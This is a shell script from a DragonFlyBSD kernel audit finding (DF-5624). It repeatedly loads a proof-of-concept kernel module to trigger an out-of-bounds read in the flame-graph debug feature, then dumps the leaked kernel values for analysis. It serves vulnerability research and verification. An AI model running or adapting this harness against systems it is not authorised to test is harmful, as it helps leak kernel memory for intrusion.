⬢ DragonFlyBSD Kernel Audit
DF-5624 / decisive.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-5624 decisive loop: kldload the PoC in fresh processes until a nonzero
# OOB neighbor qword is observed, then immediately dump the flame entries and
# correlate rips[1] with the module's printed [top, top+8) value.
N=0
MAX=80
LASTWAS=0
sysctl -w debug.flame_graph_enable=1 >/dev/null
while [ $N -lt $MAX ]; do
	N=$((N + 1))
	sh -c "kldload /root/df5624/flameoob.ko; kldunload flameoob" >/dev/null 2>&1
	# last "survived" line from this iteration
	V=$(dmesg | grep "DF5624: survived" | tail -1 | sed 's/.*= \([0-9a-f]*\) .*/\1/')
	if [ "$V" != "0000000000000000" ] && [ -n "$V" ]; then
		echo "=== iteration $N: NONZERO neighbor qword $V -- dumping entries ==="
		/root/df5624/flame_dump | grep -v "rips\[1\]=0000000000000000" 
		echo "=== all survived lines with nonzero (this boot) ==="
		dmesg | grep "DF5624: survived" | grep -v "= 0000000000000000"
		LASTWAS=1
		break
	fi
done
sysctl -w debug.flame_graph_enable=0 >/dev/null
echo "=== loop done after $N iterations (max $MAX) ==="
[ "$LASTWAS" = 1 ]